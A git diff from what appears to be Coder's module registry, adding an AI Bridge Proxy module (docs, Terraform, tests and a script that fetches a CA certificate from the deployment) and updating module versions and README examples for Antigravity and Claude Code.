> See the [AI Bridge Proxy setup guide](https://coder.com/docs/ai-coder/ai-bridge/ai-bridge-proxy/setup) for details on configuring the proxy on your Coder deployment.
|
||||
|
||||
## How it works
|
||||
|
||||
[AI Bridge Proxy](https://coder.com/docs/ai-coder/ai-bridge/ai-bridge-proxy) is an HTTP proxy that intercepts traffic to AI providers and forwards it through [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge), enabling centralized LLM management, governance, and cost tracking.
|
||||
Any process with the proxy environment variables set will route **all** its traffic through the proxy.
|
||||
|
||||
This module **does not** set proxy environment variables globally on the workspace.
|
||||
Instead, it provides Terraform outputs (`proxy_auth_url` and `cert_path`) that tool-specific modules consume to configure proxy routing.
|
||||
See the [Copilot module](https://registry.coder.com/modules/coder-labs/copilot) for a working integration example.
|
||||
|
||||
It is recommended that tool modules scope the proxy environment variables to their own process rather than setting them globally on the workspace, to avoid routing unnecessary traffic through the proxy.
|
||||
|
||||
> [!WARNING]
|
||||
> If the setup script fails (e.g. the proxy is unreachable), the workspace will still start but the agent will report a startup script error.
|
||||
> Tools that depend on the proxy will not work until the issue is resolved. Check the workspace build logs for details.
|
||||
|
||||
## Startup Coordination
|
||||
|
||||
When used with tool-specific modules (e.g. [Copilot](https://registry.coder.com/modules/coder-labs/copilot)),
|
||||
the setup script signals completion via [`coder exp sync`](https://coder.com/docs/admin/templates/startup-coordination) so dependent modules can wait for the `aibridge-proxy` module to complete before starting.
|
||||
|
||||
Dependent modules are unblocked once the setup script finishes, regardless of success or failure.
|
||||
If the setup fails, dependent modules are expected to detect the failure and handle the error accordingly.
|
||||
|
||||
To enable startup coordination, set `CODER_AGENT_SOCKET_SERVER_ENABLED=true` in the workspace container environment:
|
||||
|
||||
```hcl
|
||||
env = [
|
||||
"CODER_AGENT_TOKEN=${coder_agent.main.token}",
|
||||
"CODER_AGENT_SOCKET_SERVER_ENABLED=true",
|
||||
]
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> [Startup coordination](https://coder.com/docs/admin/templates/startup-coordination) requires Coder >= v2.30.
|
||||
> Without it, the sync calls are skipped gracefully but dependent modules may fail to start if the `aibridge-proxy` setup has not completed in time.
|
||||
|
||||
## Examples
|
||||
|
||||
### Custom certificate path
|
||||
|
||||
```tf
|
||||
module "aibridge-proxy" {
|
||||
source = "registry.coder.com/coder/aibridge-proxy/coder"
|
||||
version = "1.0.0"
|
||||
agent_id = coder_agent.main.id
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
cert_path = "/home/coder/.certs/aibridge-proxy-ca.pem"
|
||||
}
|
||||
```
|
||||
|
||||
### Proxy with custom port
|
||||
|
||||
For deployments where the proxy is accessed directly on a configured port.
|
||||
See [security considerations](https://coder.com/docs/ai-coder/ai-bridge/ai-bridge-proxy/setup#security-considerations) for network access guidelines.
|
||||
|
||||
```tf
|
||||
module "aibridge-proxy" {
|
||||
source = "registry.coder.com/coder/aibridge-proxy/coder"
|
||||
version = "1.0.0"
|
||||
agent_id = coder_agent.main.id
|
||||
proxy_url = "http://internal-proxy:8888"
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,254 @@
|
||||
import { serve } from "bun";
|
||||
import {
|
||||
afterEach,
|
||||
beforeAll,
|
||||
describe,
|
||||
expect,
|
||||
it,
|
||||
setDefaultTimeout,
|
||||
} from "bun:test";
|
||||
import {
|
||||
execContainer,
|
||||
findResourceInstance,
|
||||
removeContainer,
|
||||
runContainer,
|
||||
runTerraformApply,
|
||||
runTerraformInit,
|
||||
testRequiredVariables,
|
||||
} from "~test";
|
||||
|
||||
let cleanupFunctions: (() => Promise<void>)[] = [];
|
||||
const registerCleanup = (cleanup: () => Promise<void>) => {
|
||||
cleanupFunctions.push(cleanup);
|
||||
};
|
||||
afterEach(async () => {
|
||||
const cleanupFnsCopy = cleanupFunctions.slice().reverse();
|
||||
cleanupFunctions = [];
|
||||
for (const cleanup of cleanupFnsCopy) {
|
||||
try {
|
||||
await cleanup();
|
||||
} catch (error) {
|
||||
console.error("Error during cleanup:", error);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const FAKE_CERT =
|
||||
"-----BEGIN CERTIFICATE-----\nMIIBfakecert\n-----END CERTIFICATE-----\n";
|
||||
|
||||
// Runs terraform apply to render the setup script, then starts a Docker
|
||||
// container where we can execute it against a mock server.
|
||||
const setupContainer = async (vars: Record<string, string> = {}) => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
proxy_url: "https://aiproxy.example.com",
|
||||
...vars,
|
||||
});
|
||||
const instance = findResourceInstance(state, "coder_script");
|
||||
const id = await runContainer("lorello/alpine-bash");
|
||||
|
||||
registerCleanup(async () => {
|
||||
await removeContainer(id);
|
||||
});
|
||||
|
||||
return { id, instance };
|
||||
};
|
||||
|
||||
// Starts a mock HTTP server that simulates the Coder API certificate endpoint.
|
||||
// Returns the server and its base URL.
|
||||
const setupServer = (handler: (req: Request) => Response) => {
|
||||
const server = serve({
|
||||
fetch: handler,
|
||||
port: 0,
|
||||
});
|
||||
registerCleanup(async () => {
|
||||
server.stop();
|
||||
});
|
||||
return {
|
||||
server,
|
||||
// Base URL without trailing slash
|
||||
url: server.url.toString().slice(0, -1),
|
||||
};
|
||||
};
|
||||
|
||||
setDefaultTimeout(30 * 1000);
|
||||
|
||||
describe("aibridge-proxy", () => {
|
||||
beforeAll(async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
});
|
||||
|
||||
// Verify that agent_id and proxy_url are required.
|
||||
testRequiredVariables(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
proxy_url: "https://aiproxy.example.com",
|
||||
});
|
||||
|
||||
it("downloads the CA certificate successfully", async () => {
|
||||
let receivedToken = "";
|
||||
const { url } = setupServer((req) => {
|
||||
const reqUrl = new URL(req.url);
|
||||
if (reqUrl.pathname === "/api/v2/aibridge/proxy/ca-cert.pem") {
|
||||
receivedToken = req.headers.get("Coder-Session-Token") || "";
|
||||
return new Response(FAKE_CERT, {
|
||||
status: 200,
|
||||
headers: { "Content-Type": "application/x-pem-file" },
|
||||
});
|
||||
}
|
||||
return new Response("not found", { status: 404 });
|
||||
});
|
||||
|
||||
const { id, instance } = await setupContainer();
|
||||
|
||||
// Override ACCESS_URL and SESSION_TOKEN at runtime to point at the mock server.
|
||||
const exec = await execContainer(id, [
|
||||
"env",
|
||||
`ACCESS_URL=${url}`,
|
||||
"SESSION_TOKEN=test-session-token-123",
|
||||
"bash",
|
||||
"-c",
|
||||
instance.script,
|
||||
]);
|
||||
expect(exec.exitCode).toBe(0);
|
||||
expect(exec.stdout).toContain(
|
||||
"AI Bridge Proxy CA certificate saved to /tmp/aibridge-proxy/ca-cert.pem",
|
||||
);
|
||||
|
||||
// Verify the cert was written to the default path.
|
||||
const certContent = await execContainer(id, [
|
||||
"cat",
|
||||
"/tmp/aibridge-proxy/ca-cert.pem",
|
||||
]);
|
||||
expect(certContent.stdout).toContain("BEGIN CERTIFICATE");
|
||||
|
||||
// Verify the session token was sent in the request header.
|
||||
expect(receivedToken).toBe("test-session-token-123");
|
||||
});
|
||||
|
||||
it("fails when the server is unreachable", async () => {
|
||||
const { id, instance } = await setupContainer();
|
||||
|
||||
// Port 9999 has nothing listening, so curl will fail to connect.
|
||||
const exec = await execContainer(id, [
|
||||
"env",
|
||||
"ACCESS_URL=http://localhost:9999",
|
||||
"SESSION_TOKEN=mock-token",
|
||||
"bash",
|
||||
"-c",
|
||||
instance.script,
|
||||
]);
|
||||
expect(exec.exitCode).not.toBe(0);
|
||||
expect(exec.stdout).toContain(
|
||||
"AI Bridge Proxy setup failed: could not connect to",
|
||||
);
|
||||
});
|
||||
|
||||
it("fails when the server returns a non-200 status", async () => {
|
||||
const { url } = setupServer(() => {
|
||||
return new Response("not found", { status: 404 });
|
||||
});
|
||||
|
||||
const { id, instance } = await setupContainer();
|
||||
|
||||
const exec = await execContainer(id, [
|
||||
"env",
|
||||
`ACCESS_URL=${url}`,
|
||||
"SESSION_TOKEN=mock-token",
|
||||
"bash",
|
||||
"-c",
|
||||
instance.script,
|
||||
]);
|
||||
expect(exec.exitCode).not.toBe(0);
|
||||
expect(exec.stdout).toContain(
|
||||
"AI Bridge Proxy setup failed: unexpected response",
|
||||
);
|
||||
});
|
||||
|
||||
it("fails when the server returns an empty response", async () => {
|
||||
const { url } = setupServer((req) => {
|
||||
const reqUrl = new URL(req.url);
|
||||
if (reqUrl.pathname === "/api/v2/aibridge/proxy/ca-cert.pem") {
|
||||
return new Response("", { status: 200 });
|
||||
}
|
||||
return new Response("not found", { status: 404 });
|
||||
});
|
||||
|
||||
const { id, instance } = await setupContainer();
|
||||
|
||||
const exec = await execContainer(id, [
|
||||
"env",
|
||||
`ACCESS_URL=${url}`,
|
||||
"SESSION_TOKEN=mock-token",
|
||||
"bash",
|
||||
"-c",
|
||||
instance.script,
|
||||
]);
|
||||
expect(exec.exitCode).not.toBe(0);
|
||||
expect(exec.stdout).toContain(
|
||||
"AI Bridge Proxy setup failed: downloaded certificate is empty.",
|
||||
);
|
||||
});
|
||||
|
||||
it("saves the certificate to a custom path", async () => {
|
||||
const { url } = setupServer((req) => {
|
||||
const reqUrl = new URL(req.url);
|
||||
if (reqUrl.pathname === "/api/v2/aibridge/proxy/ca-cert.pem") {
|
||||
return new Response(FAKE_CERT, {
|
||||
status: 200,
|
||||
headers: { "Content-Type": "application/x-pem-file" },
|
||||
});
|
||||
}
|
||||
return new Response("not found", { status: 404 });
|
||||
});
|
||||
|
||||
// Pass a custom cert_path to terraform apply so the script uses it.
|
||||
const { id, instance } = await setupContainer({
|
||||
cert_path: "/tmp/custom/certs/proxy-ca.pem",
|
||||
});
|
||||
|
||||
const exec = await execContainer(id, [
|
||||
"env",
|
||||
`ACCESS_URL=${url}`,
|
||||
"SESSION_TOKEN=mock-token",
|
||||
"bash",
|
||||
"-c",
|
||||
instance.script,
|
||||
]);
|
||||
expect(exec.exitCode).toBe(0);
|
||||
expect(exec.stdout).toContain(
|
||||
"AI Bridge Proxy CA certificate saved to /tmp/custom/certs/proxy-ca.pem",
|
||||
);
|
||||
|
||||
const certContent = await execContainer(id, [
|
||||
"cat",
|
||||
"/tmp/custom/certs/proxy-ca.pem",
|
||||
]);
|
||||
expect(certContent.stdout).toContain("BEGIN CERTIFICATE");
|
||||
});
|
||||
|
||||
it("does not create global proxy env vars via coder_env", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
proxy_url: "https://aiproxy.example.com",
|
||||
});
|
||||
|
||||
// Proxy env vars should NOT be set globally via coder_env.
|
||||
// They are intended to be scoped to specific tool processes.
|
||||
const proxyEnvVarNames = [
|
||||
"HTTP_PROXY",
|
||||
"HTTPS_PROXY",
|
||||
"NODE_EXTRA_CA_CERTS",
|
||||
"SSL_CERT_FILE",
|
||||
"REQUESTS_CA_BUNDLE",
|
||||
"CURL_CA_BUNDLE",
|
||||
];
|
||||
const proxyEnvVars = state.resources.filter(
|
||||
(r) =>
|
||||
r.type === "coder_env" &&
|
||||
r.instances.some((i) =>
|
||||
proxyEnvVarNames.includes(i.attributes.name as string),
|
||||
),
|
||||
);
|
||||
expect(proxyEnvVars.length).toBe(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,81 @@
|
||||
terraform {
|
||||
required_version = ">= 1.9"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.12"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
variable "agent_id" {
|
||||
type = string
|
||||
description = "The ID of a Coder agent."
|
||||
}
|
||||
|
||||
variable "proxy_url" {
|
||||
type = string
|
||||
description = "The full URL of the AI Bridge Proxy. Include the port if not using standard ports (e.g. https://aiproxy.example.com or http://internal-proxy:8888)."
|
||||
|
||||
validation {
|
||||
condition = can(regex("^https?://", var.proxy_url))
|
||||
error_message = "proxy_url must start with http:// or https://."
|
||||
}
|
||||
}
|
||||
|
||||
variable "cert_path" {
|
||||
type = string
|
||||
description = "Absolute path where the AI Bridge Proxy CA certificate will be saved."
|
||||
default = "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
|
||||
validation {
|
||||
condition = startswith(var.cert_path, "/")
|
||||
error_message = "cert_path must be an absolute path."
|
||||
}
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
locals {
|
||||
# Build the proxy URL with Coder authentication embedded.
|
||||
# AI Bridge Proxy expects the Coder session token as the password
|
||||
# in basic auth: http://coder:<token>@host:port
|
||||
proxy_auth_url = replace(
|
||||
var.proxy_url,
|
||||
"://",
|
||||
"://coder:${data.coder_workspace_owner.me.session_token}@"
|
||||
)
|
||||
}
|
||||
|
||||
# These outputs are intended to be consumed by tool-specific modules,
|
||||
# to set proxy environment variables scoped to their process, rather than globally.
|
||||
output "proxy_auth_url" {
|
||||
description = "The AI Bridge Proxy URL with Coder authentication embedded (http://coder:<token>@host:port)."
|
||||
value = local.proxy_auth_url
|
||||
sensitive = true
|
||||
}
|
||||
|
||||
output "cert_path" {
|
||||
description = "Path to the downloaded AI Bridge Proxy CA certificate."
|
||||
value = var.cert_path
|
||||
}
|
||||
|
||||
# Downloads the CA certificate from the Coder deployment.
|
||||
# This runs on workspace start but does not block login, if the script
|
||||
# fails, the workspace remains usable and the error is visible in the build logs.
|
||||
# Tools that depend on the proxy will fail until the certificate is available.
|
||||
resource "coder_script" "aibridge_proxy_setup" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "AI Bridge Proxy Setup"
|
||||
icon = "/icon/coder.svg"
|
||||
run_on_start = true
|
||||
start_blocks_login = false
|
||||
script = templatefile("${path.module}/scripts/setup.sh", {
|
||||
CERT_PATH = var.cert_path,
|
||||
ACCESS_URL = data.coder_workspace.me.access_url,
|
||||
SESSION_TOKEN = data.coder_workspace_owner.me.session_token,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
run "test_aibridge_proxy_basic" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.agent_id == "test-agent-id"
|
||||
error_message = "Agent ID should match the input variable"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.proxy_url == "https://aiproxy.example.com"
|
||||
error_message = "Proxy URL should match the input variable"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.cert_path == "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
error_message = "cert_path should default to /tmp/aibridge-proxy/ca-cert.pem"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_empty_url_validation" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = ""
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.proxy_url,
|
||||
]
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_invalid_url_validation" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "aiproxy.example.com"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.proxy_url,
|
||||
]
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_url_formats" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("^https?://", var.proxy_url))
|
||||
error_message = "Proxy URL should be a valid URL with scheme"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_https_with_port" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com:8443"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("^https?://", var.proxy_url))
|
||||
error_message = "Proxy URL should support HTTPS with custom port"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_http_with_port" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "http://internal-proxy:8888"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("^https?://", var.proxy_url))
|
||||
error_message = "Proxy URL should support HTTP with custom port"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_empty_cert_path_validation" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
cert_path = ""
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.cert_path,
|
||||
]
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_relative_cert_path_validation" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
cert_path = "relative/path/ca-cert.pem"
|
||||
}
|
||||
|
||||
expect_failures = [
|
||||
var.cert_path,
|
||||
]
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_custom_cert_path" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
cert_path = "/home/coder/.certs/ca-cert.pem"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.cert_path == "/home/coder/.certs/ca-cert.pem"
|
||||
error_message = "cert_path should match the input variable"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_script" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.aibridge_proxy_setup.run_on_start == true
|
||||
error_message = "Script should run on start"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.aibridge_proxy_setup.start_blocks_login == false
|
||||
error_message = "Script should not block login"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.aibridge_proxy_setup.display_name == "AI Bridge Proxy Setup"
|
||||
error_message = "Script display name should be 'AI Bridge Proxy Setup'"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_auth_url_https" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "https://aiproxy.example.com"
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_workspace_owner.me
|
||||
values = {
|
||||
session_token = "mock-session-token"
|
||||
}
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.proxy_auth_url == "https://coder:mock-session-token@aiproxy.example.com"
|
||||
error_message = "proxy_auth_url should contain the mocked session token"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.cert_path == "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
error_message = "cert_path output should match the default"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_proxy_auth_url_http_with_port" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
proxy_url = "http://internal-proxy:8888"
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_workspace_owner.me
|
||||
values = {
|
||||
session_token = "mock-session-token"
|
||||
}
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.proxy_auth_url == "http://coder:mock-session-token@internal-proxy:8888"
|
||||
error_message = "proxy_auth_url should preserve the port"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.cert_path == "/tmp/aibridge-proxy/ca-cert.pem"
|
||||
error_message = "cert_path output should match the default"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
if [ -z "$CERT_PATH" ]; then
|
||||
CERT_PATH="${CERT_PATH}"
|
||||
fi
|
||||
|
||||
if [ -z "$ACCESS_URL" ]; then
|
||||
ACCESS_URL="${ACCESS_URL}"
|
||||
fi
|
||||
|
||||
if [ -z "$SESSION_TOKEN" ]; then
|
||||
SESSION_TOKEN="${SESSION_TOKEN}"
|
||||
fi
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Signal startup coordination.
|
||||
# The trap ensures 'complete' is always called (even on failure) so dependent
|
||||
# scripts unblock promptly and can check for the certificate themselves.
|
||||
if command -v coder > /dev/null 2>&1; then
|
||||
coder exp sync start "aibridge-proxy-setup" > /dev/null 2>&1 || true
|
||||
trap 'coder exp sync complete "aibridge-proxy-setup" > /dev/null 2>&1 || true' EXIT
|
||||
fi
|
||||
|
||||
if [ -z "$ACCESS_URL" ]; then
|
||||
echo "Error: Coder access URL is not set."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -z "$SESSION_TOKEN" ]; then
|
||||
echo "Error: Coder session token is not set."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v curl > /dev/null; then
|
||||
echo "Error: curl is not installed."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "--------------------------------"
|
||||
echo "AI Bridge Proxy Setup"
|
||||
printf "Certificate path: %s\n" "$CERT_PATH"
|
||||
printf "Access URL: %s\n" "$ACCESS_URL"
|
||||
echo "--------------------------------"
|
||||
|
||||
CERT_DIR=$(dirname "$CERT_PATH")
|
||||
mkdir -p "$CERT_DIR"
|
||||
|
||||
CERT_URL="$ACCESS_URL/api/v2/aibridge/proxy/ca-cert.pem"
|
||||
echo "Downloading AI Bridge Proxy CA certificate from $CERT_URL..."
|
||||
|
||||
# Download the certificate with a 5s connection timeout and 10s total timeout
|
||||
# to avoid the script hanging indefinitely.
|
||||
if ! HTTP_STATUS=$(curl -s -o "$CERT_PATH" -w "%%{http_code}" \
|
||||
--connect-timeout 5 \
|
||||
--max-time 10 \
|
||||
-H "Coder-Session-Token: $SESSION_TOKEN" \
|
||||
"$CERT_URL"); then
|
||||
echo "❌ AI Bridge Proxy setup failed: could not connect to $CERT_URL."
|
||||
echo "Ensure AI Bridge Proxy is enabled and reachable from the workspace."
|
||||
rm -f "$CERT_PATH"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ "$HTTP_STATUS" -ne 200 ]; then
|
||||
echo "❌ AI Bridge Proxy setup failed: unexpected response (HTTP $HTTP_STATUS)."
|
||||
echo "Ensure AI Bridge Proxy is enabled and reachable from the workspace."
|
||||
rm -f "$CERT_PATH"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ ! -s "$CERT_PATH" ]; then
|
||||
echo "❌ AI Bridge Proxy setup failed: downloaded certificate is empty."
|
||||
rm -f "$CERT_PATH"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "AI Bridge Proxy CA certificate saved to $CERT_PATH"
|
||||
echo "✅ AI Bridge Proxy setup complete."
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "antigravity" {
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -66,15 +66,15 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
web_app_icon = "/icon/antigravity.svg"
|
||||
web_app_slug = var.slug
|
||||
web_app_display_name = var.display_name
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
coder_app_icon = "/icon/antigravity.svg"
|
||||
coder_app_slug = var.slug
|
||||
coder_app_display_name = var.display_name
|
||||
coder_app_order = var.order
|
||||
coder_app_group = var.group
|
||||
|
||||
folder = var.folder
|
||||
open_recent = var.open_recent
|
||||
|
||||
@@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
claude_api_key = "xxxx-xxxxx-xxxx"
|
||||
@@ -36,6 +36,19 @@ module "claude-code" {
|
||||
|
||||
By default, Claude Code automatically resumes existing conversations when your workspace restarts. Sessions are tracked per workspace directory, so conversations continue where you left off. If no session exists (first start), your `ai_prompt` will run normally. To disable this behavior and always start fresh, set `continue = false`
|
||||
|
||||
## State Persistence
|
||||
|
||||
AgentAPI can save and restore its conversation state to disk across workspace restarts. This complements `continue` (which resumes the Claude CLI session) by also preserving the AgentAPI-level context. Enabled by default, requires agentapi >= v0.12.0 (older versions skip it with a warning).
|
||||
|
||||
To disable:
|
||||
|
||||
```tf
|
||||
module "claude-code" {
|
||||
# ... other config
|
||||
enable_state_persistence = false
|
||||
}
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
### Usage with Agent Boundaries
|
||||
@@ -47,7 +60,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_boundary = true
|
||||
@@ -59,7 +72,7 @@ module "claude-code" {
|
||||
|
||||
### Usage with AI Bridge
|
||||
|
||||
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`.
|
||||
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0.
|
||||
|
||||
For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
|
||||
|
||||
@@ -68,7 +81,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_aibridge = true
|
||||
@@ -96,12 +109,11 @@ resource "coder_ai_task" "task" {
|
||||
data "coder_task" "me" {}
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
claude_api_key = "xxxx-xxxxx-xxxx"
|
||||
ai_prompt = data.coder_task.me.prompt
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
ai_prompt = data.coder_task.me.prompt
|
||||
|
||||
# Optional: route through AI Bridge (Premium feature)
|
||||
# enable_aibridge = true
|
||||
@@ -121,7 +133,7 @@ This example shows additional configuration options for version pinning, custom
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
|
||||
@@ -177,7 +189,7 @@ Run and configure Claude Code as a standalone CLI in your workspace.
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
install_claude_code = true
|
||||
@@ -199,7 +211,7 @@ variable "claude_code_oauth_token" {
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
claude_code_oauth_token = var.claude_code_oauth_token
|
||||
@@ -210,7 +222,7 @@ module "claude-code" {
|
||||
|
||||
#### Prerequisites
|
||||
|
||||
AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions.
|
||||
AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions.
|
||||
|
||||
Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure.
|
||||
|
||||
@@ -272,7 +284,7 @@ resource "coder_env" "bedrock_api_key" {
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.1"
|
||||
version = "4.8.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
